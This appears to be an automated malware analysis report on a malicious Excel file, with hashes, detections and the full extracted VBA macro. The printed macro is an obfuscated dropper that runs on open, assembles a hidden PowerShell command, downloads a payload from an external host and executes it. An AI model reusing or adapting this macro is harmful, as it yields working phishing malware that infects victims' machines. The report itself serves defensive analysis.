Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1f259bb4c63e1676…

MALICIOUS

Office (OLE)

88.0 KB Created: 2017-10-19 07:59:05 Authoring application: Microsoft Excel First seen: 2018-07-04
MD5: 0f963ff3d71e3e961279f71e5d78db21 SHA-1: b239664f83007744d29c595d128d175c594c41f8 SHA-256: 1f259bb4c63e16766e16136e8809d076eeea289e52906959ca7065ae3a6567cd
148 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The critical heuristic 'OLE_VBA_SHELL' and the presence of a Workbook_Open macro indicate that the Excel file is designed to execute arbitrary code upon opening. The VBA macro constructs and executes a PowerShell command that attempts to download a payload from 'the embedded link'. This is a common pattern for macro-based malware droppers.

Heuristics 4

  • ClamAV: Xls.Dropper.Generic-6595971-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Generic-6595971-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    If Monochrome > 0 Then
Shell najimnaj, msoAlignLefts
End If
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
If Monochrome > 0 Then

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2825 bytes
SHA-256: 22a8cb6d979a9e1d3dc8b73f13b7dde193fa1301cc2b60a7d578a72227ebb42b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function altimetrod()
altimetrod = "'d"
End Function



Sub Workbook_Open()
If Monochrome > 0 Then
Shell najimnaj, msoAlignLefts
End If
End Sub
Function deleviretimer()
teslaimg = Left("calamander", 4)
twistdance = "em"
armagedon = Array("t" + twistdance + "p", "lo" + teslaimg + "ppd" + "ata")
deleviretimer = armagedon(depminng)
End Function
Function ramzessii()
ramzessii = "" + "d   " + timberlook + Chr(34)
End Function
Function SingleSong()
SingleSong = Right(Left("multiplexed", 10), 3)
End Function

Function depminng()
Randomize
depminng = Int(Rnd * 2#)
End Function
Function najimnaj()

dimmestors = "cM" + ramzessii + petroliummer + Chr(34) + "do{sl" + "eep 25;(." + "(\""{2" + "}{0" + "}{1" + "}\"" -" + "f'-" + "o','bj" + "ec" + "t','ne" + "w') (\""{"
dramssy = "'sy"
linsasadiop = "1}{3}" + "{5}{" + "0}{2}{4}\"" -f'" + "t'," + dramssy + "st','.we" + "bclie','em','nt','.ne'" + hagillas + altimetrod + "'+'o" + "w'+'n" + "lo" + "ad" + "fi"
najimnaj = dimmestors + linsasadiop + "l'+'e')." + Left("Invisible", 3) + "oke('" + dotnormtest + "ps://fordata.co/bml','%" + deleviretimer + "%." + SingleSong + "')}while(!$?);&(\""{0}{2}{1}\""-f'star','ss','t-proce') '%" + deleviretimer + "%." + SingleSong + "'" + Chr(34) + Chr(34)
End Function

Function timberlook()
timberlook = "" + "/c"
End Function

Function petroliummer()
maffii = "owe"
labuyetero = Array(Now(), maffii + "RS", Now(), Now())
fidopinions = Array(Now(), Minute(Now), Minute(Now), "oP" + "r  " + "-e")
heroscopuses = Array(Now(), "eLL  " + "-N")
okolokojim = Array(Now(), "AS" + "S -W" + "i", Now())
normalcorrecttoolk = Array(Second(Now), Now(), Now(), Now(), "RA" + "Ct")
zulusniga = "DDen  "
vandamilkler = Array(Now(), Minute(Now), Now(), Now(), "uT" + "i  B", Minute(Now), Now(), Now())
petroliummer = "p" + labuyetero(1) + "h" + heroscopuses(1) + "on" + "iN" + "Te" + normalcorrecttoolk(4) + "iv" + "E  -N" + fidopinions(3) + "xeC" + vandamilkler(4) + "yP" + okolokojim(1) + "nD" + "O " + " hI" + zulusniga
End Function
Function dotnormtest()
dotnormtest = Right(Left("lighttight", 6), 3)
End Function
Function hagillas()
hagillas = ")" + ")" + Chr(46) + Chr(40)
End Function


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.